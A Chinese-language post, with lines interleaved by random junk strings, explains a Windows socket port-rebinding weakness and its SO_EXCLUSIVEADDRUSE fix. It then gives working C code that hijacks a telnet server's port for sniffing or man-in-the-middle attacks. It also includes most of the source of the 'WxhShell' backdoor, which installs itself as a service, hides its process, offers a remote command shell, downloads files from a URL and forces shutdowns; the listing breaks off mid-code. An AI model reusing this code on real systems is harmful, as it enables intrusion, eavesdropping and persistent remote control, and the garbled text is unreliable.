在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K96<M);:g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0K2`-mL VAu&@a` saddr.sin_family = AF_INET;
bY0|N[g o0vUj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
RdML3E ;d9QAN&0} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D5HZ2cz|a "FKOaQ%IH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I.k
*GW .VzT:4-<Q" 这意味着什么?意味着可以进行如下的攻击:
:4%k9BGAj" 3Ims6I] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#
4PVVu< &pp|U} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:[!j?)%> ]P?vdgEM& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
C 6AUNRpl e@OX_t_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f`=-US \} :PLCKT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*=7U4W ,nB5/Lx 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tC9n
k5~ g'qa}/X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N'`A?&2ru /Mu@,)'' #include
7x4PaX( #include
t1y4 7fX6 #include
J
S_]FsxD #include
#?9;uy<j.q DWORD WINAPI ClientThread(LPVOID lpParam);
*ppffz int main()
xX4N4vb {
"!%l/_p? WORD wVersionRequested;
%F4%H|G DWORD ret;
`lt"[K< WSADATA wsaData;
Gk /fBs BOOL val;
1HZO9cXJ SOCKADDR_IN saddr;
n#OB%@]<V SOCKADDR_IN scaddr;
=rCIumqD-} int err;
pD#rnp>WWt SOCKET s;
[mGLcg6Fw SOCKET sc;
M1iS(x int caddsize;
)f<z%:I+Z HANDLE mt;
m-"w0Rl1T DWORD tid;
3x'|]Ns wVersionRequested = MAKEWORD( 2, 2 );
"5wa91* err = WSAStartup( wVersionRequested, &wsaData );
X*@dj_, if ( err != 0 ) {
_t #k,; printf("error!WSAStartup failed!\n");
9c :cw return -1;
` v@m-j6 }
Ge-vWf-RbB saddr.sin_family = AF_INET;
?'{SX9 @7j AL - //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v<( "mvt>X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h|{]B,.Lh saddr.sin_port = htons(23);
DG:Z=LuJr if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[}0haTYc4 {
EGF '"L printf("error!socket failed!\n");
76h ,]xi
return -1;
oEKvl3Hz_ }
U0N 60 val = TRUE;
SmSH2m- //SO_REUSEADDR选项就是可以实现端口重绑定的
e [mm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6.nCV0xA {
s{\8om'- printf("error!setsockopt failed!\n");
EE'io5\et return -1;
+Kbjzh3<wG }
O*)Vhw'pK //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f5VLw`m}.8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y''z5[' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
GH:jH]u!V !_'ur>iR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T&u5ki4NE {
uH- l%17 ret=GetLastError();
Cl8Cg~2 printf("error!bind failed!\n");
A1>OY^p3% return -1;
hAnPXiD }
qwgPk9l listen(s,2);
=QiI :|eRA while(1)
Ata:^qI {
V_}"+&W9 caddsize = sizeof(scaddr);
3>`mI8$t //接受连接请求
9u}Hmb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
SdxDa if(sc!=INVALID_SOCKET)
_
y8Wn}19f {
a:IC)]j$_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
f=gW]x7'R+ if(mt==NULL)
J({Xg? {
lKp"xcAD printf("Thread Creat Failed!\n");
tKx~1- break;
F]]]y5t }
&n}f? }
>kDQkhZ CloseHandle(mt);
VfC <WVYiZ }
H-*yh! closesocket(s);
_w+:Dv~*a WSACleanup();
V0.vQ/ return 0;
rt~d6|6 }
Pz |>"' DWORD WINAPI ClientThread(LPVOID lpParam)
q{I%Q)t)gU {
I%X6T@P SOCKET ss = (SOCKET)lpParam;
j2.|ln"! SOCKET sc;
O{G?;H$ unsigned char buf[4096];
YPK(be_|I SOCKADDR_IN saddr;
=llvuUd\n long num;
pF:$
ko DWORD val;
m6&~HfwN DWORD ret;
2E/"hQw //如果是隐藏端口应用的话,可以在此处加一些判断
l2rd9-T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#;qdY[v saddr.sin_family = AF_INET;
lN?qp'%H` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lC("y'
:: saddr.sin_port = htons(23);
#+HJA42 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`nv~NLkl {
" H&W}N printf("error!socket failed!\n");
ex9g?*Q return -1;
#9}D4i.`} }
u#;7<.D val = 100;
(%e.:W${ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T?soJ]A {
?2;&O`x* ret = GetLastError();
ag#S6E^%S return -1;
z.9U}F }
%x{kc3PnO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m=A(NKZ
{
>G*eNn ret = GetLastError();
foF({4q7b^ return -1;
](9Xvy }
q?oP?cCw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
wQH<gJE/: {
rc>4vB_ha printf("error!socket connect failed!\n");
K>r,(zgVc closesocket(sc);
&(G\[RWp\ closesocket(ss);
gk[aM~p return -1;
3kIN~/<R+7 }
Ym{tR,g7 while(1)
?{|q5n {
6?mibvK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+[A QUc //如果是嗅探内容的话,可以再此处进行内容分析和记录
% X+:o]T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
RLynEV;] num = recv(ss,buf,4096,0);
~u!|qM if(num>0)
J^nBdofP send(sc,buf,num,0);
8#
>op6^ else if(num==0)
F2dHH^ break;
$@Rxrx_@M num = recv(sc,buf,4096,0);
rEnQYz if(num>0)
U;V7 u/{ send(ss,buf,num,0);
lL3khJ:% else if(num==0)
X_ cV%# break;
EXwo,?I }
>CgTs closesocket(ss);
1i"WDu*h3 closesocket(sc);
5k3n\sqZA return 0 ;
<fjX[l<Uz }
{3p4:*} Av$^ 7 60Y$/Wz ==========================================================
?m=N]!n 1k5Who@ 下边附上一个代码,,WXhSHELL
:q7Wy&ow dh*ZKI^@( ==========================================================
.b&t;4q *_{j=sd #include "stdafx.h"
[vK^Um |zNX=mAV #include <stdio.h>
u\x}8pn #include <string.h>
='sHj4hU #include <windows.h>
*@r/5pM2} #include <winsock2.h>
69?wc! #include <winsvc.h>
Un(aW=PQ0 #include <urlmon.h>
M~#g RAUJ Xe'x[(l #pragma comment (lib, "Ws2_32.lib")
bv9]\qC]T< #pragma comment (lib, "urlmon.lib")
}[};IqVaK ^qvbqfh #define MAX_USER 100 // 最大客户端连接数
N/'b$m5=
S #define BUF_SOCK 200 // sock buffer
sw oQ' #define KEY_BUFF 255 // 输入 buffer
BB$>h} [0[i5'K: #define REBOOT 0 // 重启
k>Vci{v #define SHUTDOWN 1 // 关机
kr5">"7 VimE@ Hz #define DEF_PORT 5000 // 监听端口
He/8=$c% +I:Unp #define REG_LEN 16 // 注册表键长度
;Ax
}KN7 #define SVC_LEN 80 // NT服务名长度
C12Fl Nw/ ku // 从dll定义API
eKLZt%= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"f2$w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[M}{G5U. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7Lc]HSZo, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<X^@*79m 4 Y9`IgQ // wxhshell配置信息
#u(^0'
P struct WSCFG {
]G=L=D^cK int ws_port; // 监听端口
UWJ8amA char ws_passstr[REG_LEN]; // 口令
IH&|Tcf\ int ws_autoins; // 安装标记, 1=yes 0=no
V`d,qn)i char ws_regname[REG_LEN]; // 注册表键名
+wU@ynw char ws_svcname[REG_LEN]; // 服务名
F>6|3bOR char ws_svcdisp[SVC_LEN]; // 服务显示名
@R"JW\bd char ws_svcdesc[SVC_LEN]; // 服务描述信息
f:,DWw`B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
UiP"Ixg6 int ws_downexe; // 下载执行标记, 1=yes 0=no
o.g V4% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
f#"J]p char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{
Fb*&|-n n)e
6>R; };
vHc%z$-d @#>rYAb8, // default Wxhshell configuration
SC!RbW@3 struct WSCFG wscfg={DEF_PORT,
FP`b>E qOH "xuhuanlingzhe",
4JXeV&5Qk' 1,
7~%?# "Wxhshell",
3`|@H-c9 "Wxhshell",
G1tY) _-8[ "WxhShell Service",
0c]/bs{} "Wrsky Windows CmdShell Service",
vY}g<* "Please Input Your Password: ",
t?&|8SId 1,
\gGW8Q; "
http://www.wrsky.com/wxhshell.exe",
Z'W=\rl "Wxhshell.exe"
KVaiugQ };
[z\$?VJspQ 2'\H\| // 消息定义模块
zOIDU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^4hO char *msg_ws_prompt="\n\r? for help\n\r#>";
1~`fVg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
HTS0s\R$ char *msg_ws_ext="\n\rExit.";
uc\Kg1{ char *msg_ws_end="\n\rQuit.";
9c'xHO` char *msg_ws_boot="\n\rReboot...";
f:w?pE char *msg_ws_poff="\n\rShutdown...";
CL;}IBd a char *msg_ws_down="\n\rSave to ";
OU.6bmWy| JPUW6e07o char *msg_ws_err="\n\rErr!";
_pG-qK char *msg_ws_ok="\n\rOK!";
qLG&WB RFc v^Xf char ExeFile[MAX_PATH];
)}(^,
Fo c int nUser = 0;
W:nef<WH HANDLE handles[MAX_USER];
3m)0z{n int OsIsNt;
>J?fl8 @)M9IOR SERVICE_STATUS serviceStatus;
9};8?mucr SERVICE_STATUS_HANDLE hServiceStatusHandle;
1{.|+S Z! ^|>PA:% // 函数声明
k FD;i int Install(void);
~<5!?6Yt int Uninstall(void);
XJ\DVZ int DownloadFile(char *sURL, SOCKET wsh);
50wulGJud int Boot(int flag);
b3[!V{| void HideProc(void);
69NeQ$]( int GetOsVer(void);
w3_>VIZJl int Wxhshell(SOCKET wsl);
pa3{8x{9m void TalkWithClient(void *cs);
OLGE !&!> int CmdShell(SOCKET sock);
7U"g3a)= int StartFromService(void);
itP,\k7>d int StartWxhshell(LPSTR lpCmdLine);
*#|&JIEsi 783,s_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>T-u~i$s
VOID WINAPI NTServiceHandler( DWORD fdwControl );
*n
]GsOOn C2I_%nU Z1 // 数据结构和表定义
p%Vt#?q SERVICE_TABLE_ENTRY DispatchTable[] =
&`r-.&Y {
LA5(sp@O {wscfg.ws_svcname, NTServiceMain},
0i>5<ej,f {NULL, NULL}
k%#EEMh };
hWLA<wdb lgy<?LI\ // 自我安装
@Uvz8*b6 int Install(void)
tSUEZ62EY {
5Ln,{vsv char svExeFile[MAX_PATH];
G~[x
3L' HKEY key;
1n8/r}q'H strcpy(svExeFile,ExeFile);
&wawr2)} Q"d^_z]K // 如果是win9x系统,修改注册表设为自启动
&PHTpkaam if(!OsIsNt) {
;xj?z\=Pg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|SSSH
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/C:gKy4
RegCloseKey(key);
s!zx}
5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
G>}255qY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gZXi]m& RegCloseKey(key);
AV]2euyn return 0;
ML
9' | }
v!-pSa)3 }
qYQl,w }
!9e=_mY else {
~G&dqw/.-U `/+>a8 // 如果是NT以上系统,安装为系统服务
\*?~Yj# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ic<2QknmP if (schSCManager!=0)
Wvh#:Z {
ebhXak[w SC_HANDLE schService = CreateService
u&vf+6=9Dd (
khxnlry schSCManager,
+\]\[6 wscfg.ws_svcname,
jB2[( wscfg.ws_svcdisp,
\V63qg[ SERVICE_ALL_ACCESS,
g:@#@1rB6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oZgjQM$YP SERVICE_AUTO_START,
h(dvZ=
% SERVICE_ERROR_NORMAL,
%wy.TN svExeFile,
h;"4+uw NULL,
?l{nk5,?-Y NULL,
5C]x!>kX NULL,
$a]`nLUa NULL,
2F.;;Ab NULL
ADzhNfS );
'IQ0{&EI if (schService!=0)
H*R"ntI?w {
}($5k]]clP CloseServiceHandle(schService);
tDcT%D {: CloseServiceHandle(schSCManager);
"(O>=F& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C}Cs8eUn strcat(svExeFile,wscfg.ws_svcname);
=UQ3HQD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Btn?N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!Ai@$tl[S RegCloseKey(key);
2%m BK return 0;
2/^3WY1U }
</zEg3F\ }
C,r;VyW6BI CloseServiceHandle(schSCManager);
*i%d,w0+ }
~36!?&eA8 }
d7upz]K9g Ui W>J return 1;
g!|kp? }
;6$jf:2m KZE,bi:~ // 自我卸载
rb.N~ int Uninstall(void)
$UWZDD {
6bC3O4Rw HKEY key;
_`T_">9r ?fSG'\h> if(!OsIsNt) {
S,UDezxg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
b4kgFA
RegDeleteValue(key,wscfg.ws_regname);
a1lh-2xX RegCloseKey(key);
T8$y[W-c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A;M'LM- M RegDeleteValue(key,wscfg.ws_regname);
u6JM]kR RegCloseKey(key);
V)25$aKW7 return 0;
}Sv:`9= }
Y$_B1_ }
wc4=VC"y }
0GeTSFj else {
usF.bkTp 8l`*]1.W< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#*Ctwl,T if (schSCManager!=0)
3s#N2X;Bc {
y<Ot)fa$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
F]&*ow if (schService!=0)
+mn[5Y} : {
q/,O\, if(DeleteService(schService)!=0) {
Q;rX;p^W CloseServiceHandle(schService);
"chDg(jMZ CloseServiceHandle(schSCManager);
kuP(r return 0;
sXPe/fWo }
)SGq[B6@I CloseServiceHandle(schService);
?UoBV$ }
|CyE5i0 CloseServiceHandle(schSCManager);
4kx
N<] }
/\n-P'} }
j\M?~=*w ?=Kduef return 1;
> ~O.@| }
Gd85kY@w7 JWxwJex // 从指定url下载文件
gPPkT" int DownloadFile(char *sURL, SOCKET wsh)
RA
L~!"W {
ww1[rCh\+ HRESULT hr;
]/L0,^RI char seps[]= "/";
<e6#lFQqK char *token;
OneY_<*a< char *file;
Q=$2c[Uk char myURL[MAX_PATH];
J|7 3.&B char myFILE[MAX_PATH];
`ERz\`d~Y; M_DwUS1? strcpy(myURL,sURL);
+NUG token=strtok(myURL,seps);
X&H"51 while(token!=NULL)
5{,<j\#L {
9pfIzs
su3 file=token;
ECmW`#Otb) token=strtok(NULL,seps);
Z%UP6% }
,ig/s2ZG6X 8}:nGK|kx GetCurrentDirectory(MAX_PATH,myFILE);
h<QY5=SF strcat(myFILE, "\\");
V0mn4sfs strcat(myFILE, file);
]`WJOx4 send(wsh,myFILE,strlen(myFILE),0);
Mi_$">1-W send(wsh,"...",3,0);
)^hbsMhO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#RLt^$!H if(hr==S_OK)
J{G?-+` return 0;
C0Z=~Q% else
d<Tc7vg4|U return 1;
{'H(g[k :ShT|n7 }
jPkn[W#
6 aN3;`~{9 // 系统电源模块
e\/w' int Boot(int flag)
J'r^/ {
8u]2xB=K HANDLE hToken;
F!K>K z TOKEN_PRIVILEGES tkp;
lyhiFkO
iH _aeBauD if(OsIsNt) {
COlaD"Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Z;"vW!%d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
veECfR; tkp.PrivilegeCount = 1;
~gt@P tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[Ch.cE_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#g!.T g' if(flag==REBOOT) {
Y_P!B^z3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_@/8gPT*i return 0;
a8Wwq?@ }
\'j|BJ~L f else {
HxI"
8A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
BJ(M2|VH return 0;
OZ;*JR: }
=2x^nW }
7 X4LJf else {
2:ylv<\$ if(flag==REBOOT) {
\73ch if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
apxph2yvS return 0;
u]@['7 }
tq?!-x+> else {
TL#3;l^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+"VP-s0 return 0;
)`D:F>p* }
2J;g{95z }
/Ci<xmP P0b7S'a4! return 1;
$ME)#( }
IE~ |iQ?- >LuYHr // win9x进程隐藏模块
tLmTjX .6 void HideProc(void)
teVM*- {
4KrL{Z+} dgePPhj
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T[A69O]v if ( hKernel != NULL )
Ga'swP=hf {
L/^I*p, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?z
u8)U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>o,TZc\ FreeLibrary(hKernel);
"zy7C*)>r }
#LOwGJ$yVz 40
0#v|b return;
v.5+7,4 }
YK~%x o 1-QS~)+ // 获取操作系统版本
EJ@ ~/)< int GetOsVer(void)
~PNub E {
Wv/=O} OSVERSIONINFO winfo;
v*yuE5{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L8 @1THY GetVersionEx(&winfo);
3f;>" P} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
S21,VpW\ return 1;
^Zp>G{QL{ else
dcT80sOC return 0;
j
<RrLn_ }
_<2E"PrT 0qT%!ku& // 客户端句柄模块
Wo,?+I int Wxhshell(SOCKET wsl)
29q _BR *: {
~F7gP{r SOCKET wsh;
iG?[<1~ struct sockaddr_in client;
C"enpc_C/ DWORD myID;
3oG,E;( >yh2Lri while(nUser<MAX_USER)
tklH@'q {
S 6,.FYH int nSize=sizeof(client);
B?o7e<l[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Xb,3Dvf if(wsh==INVALID_SOCKET) return 1;
61
~upQaR }4S6Xe handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;6hOx(>`= if(handles[nUser]==0)
5E_YEBO/ closesocket(wsh);
2dgd~
else
4nz 35BLr nUser++;
C2)2) }
YT8F#t8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
C"]^Q)aJN sUm' return 0;
7T'B6`-Ox }
r!{Up7uL FU<Jp3<% // 关闭 socket
7vj2
`+r. void CloseIt(SOCKET wsh)
dGTsc/$ {
:p6M= closesocket(wsh);
/vb`H>P nUser--;
@AuO`I@p= ExitThread(0);
8sK9G`
k }
xi;`ecqS< q6X1P"%. // 客户端请求句柄
EDs\,f} void TalkWithClient(void *cs)
-o
EW:~y {
,wdD8ZT'Ip -C&P%tt Y SOCKET wsh=(SOCKET)cs;
t<?,F char pwd[SVC_LEN];
w"&n?L char cmd[KEY_BUFF];
uhutg,[ char chr[1];
b*Q&CL int i,j;
?5 [=(\/. ]:/Q]n^ while (nUser < MAX_USER) {
ib791 -+-_I*( if(wscfg.ws_passstr) {
SOvF[,+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
tIS<U(N; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t.\dpBq //ZeroMemory(pwd,KEY_BUFF);
K)k<Rh[< i=0;
1]/.` ]1 while(i<SVC_LEN) {
57'4ljvYi z,%$+)K // 设置超时
H~z`]5CN fd_set FdRead;
!m?-!: struct timeval TimeOut;
QUQ'3 FD_ZERO(&FdRead);
"`1bA"E FD_SET(wsh,&FdRead);
#@nezu2 TimeOut.tv_sec=8;
2Q:+_v TimeOut.tv_usec=0;
m/EFHS49 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0% I=d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dzrio-QU~ 4x[S\,20 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
K8Y=S12Ti pwd
=chr[0]; jdJ>9O0A,
if(chr[0]==0xd || chr[0]==0xa) { gjzuG<7m
pwd=0; KL Xq\{X
break; cq4Ipe
} |*tp16+6
i++; %vi<Aseg
} hpL;bM'
UU0,!?o4
// 如果是非法用户,关闭 socket wZZ t
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [QT#Yf0
} TBU&6M>{3
I`4*+a'q&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [Hh9a;.*}h
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x0:m-C
e'b(gD}
while(1) { W-zP/]Dh
G+|` 2an
ZeroMemory(cmd,KEY_BUFF); /J6rv((
0}quG^%_
// 自动支持客户端 telnet标准 aPbE;"
f
j=0; Q^txVUL
while(j<KEY_BUFF) { dL
)<%
o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5(HG|
cmd[j]=chr[0]; x{/g(r={}
if(chr[0]==0xa || chr[0]==0xd) { 5iydZ
cmd[j]=0;
zi`o#+
break; RQu(Wu|m.
} $[=%R`~w
j++; ,]c
1A$Sr0
} Aj+F
|l
1Nd2{(
// 下载文件 nt7.?$
if(strstr(cmd,"http://")) { "vE4E|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E\pL!c
if(DownloadFile(cmd,wsh)) \&gB)czEO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2WxQ(:d=
else )
M BQuiL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%BL
} (+y
else { I,@6J(9
}s<4{:cv+
switch(cmd[0]) { F;0}x;:>
s>n)B^64W
// 帮助 Ng>h"H
case '?': { dQR-H7U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qhcu>ra
break; ?]Xpi3k
} k-OPU,
// 安装 Lrq.Ab#
case 'i': { m#Z#
.j_2
if(Install()) Is?La
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WKa~[j|-K
else R/>@+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PxkOT*
break; GD_hhDyD
} mZ"4&U
// 卸载 `t'W2X
case 'r': { {
W{]L:
if(Uninstall()) 0$fpIz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hJ~Uf5Q
else *U=s\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pYZ6e_j1~
break; 'o>B'$
} -"60d
@.
// 显示 wxhshell 所在路径 G..aiA
case 'p': { 0o*8#i/)!3
char svExeFile[MAX_PATH]; 6- B|Y3)B
strcpy(svExeFile,"\n\r"); ):_\;.L
strcat(svExeFile,ExeFile); _1 !OlQ
send(wsh,svExeFile,strlen(svExeFile),0); HLaRGN3,
break; (7=!+'T"
} RxWVe-Dg
// 重启 /9pwZ%:<
case 'b': { !fR3(=oN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +8d1|cB"
if(Boot(REBOOT)) vbe|hO""
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @8rx`9
else { x!58cS*
closesocket(wsh); Y+u_IJ
ExitThread(0); z]`k#O%%)
} 9b"=9y,
break; 9=h'9Wo
} ^)*-Bo)I
// 关机 rJbf_]^
case 'd': { =\wxsL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >!bJslWA
if(Boot(SHUTDOWN)) \k!{uRy'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !SdSE^lz`
else { E+g@M8D
closesocket(wsh); E3gh?6
ExitThread(0); NmJWU:W_@
} hD*SpVIU
break; YhE+W
} WE.{p>
// 获取shell ll.N^y;a
case 's': { Jx7C'~,J
CmdShell(wsh); EZ$>.iy{
closesocket(wsh); "~7>\>UFh
ExitThread(0); 22M1j5
break; \Vy Z
} "8^
Ch{G-
// 退出 v)t:|Q{I
case 'x': { *ipFwQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @H7d_S
CloseIt(wsh); _Wq
break; DiwxXqY
} @l jA
// 离开 $r8 ^0ZRr
case 'q': { y8!4q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 92x(u%~E
closesocket(wsh); i}mVQ\j5
WSACleanup(); `e|0g"oP
exit(1); 'o+L41
break; T;y>>_,
} QaS7z#/?.
} evAMJ=
} {kCw+eXn?
?DQsc9y
// 提示信息 wq(7|!Eix
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +)<wDDC_
} !K}~/9Z=m
} Q$1bWUS&
>eqxV|]i
return; ~yfNxH~k
} =`:K{loxq
bE#,=OI$
// shell模块句柄 'y2nN=CN
int CmdShell(SOCKET sock) YoZFwRQU
{ 9N<<{rQ,F
STARTUPINFO si; Gh}LlX!w
ZeroMemory(&si,sizeof(si)); Xti[[s J
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -pa )K"z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iw&vTU=2
PROCESS_INFORMATION ProcessInfo; G_{&sa
char cmdline[]="cmd"; FsV'Cu@!U
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WD2]&g
return 0; K[Kh&`T
} &7b|4a8B%
TI#''XCB5
// 自身启动模式 ?hM>mL
int StartFromService(void) 28H8l2{[>
{ Q}K#'Og
typedef struct {QZUDPPR
{ *4xat:@{{
DWORD ExitStatus; SHbtWq}T
DWORD PebBaseAddress; ~\.w^*$#Y
DWORD AffinityMask; &8>IeK{I
DWORD BasePriority; )XakJU^o
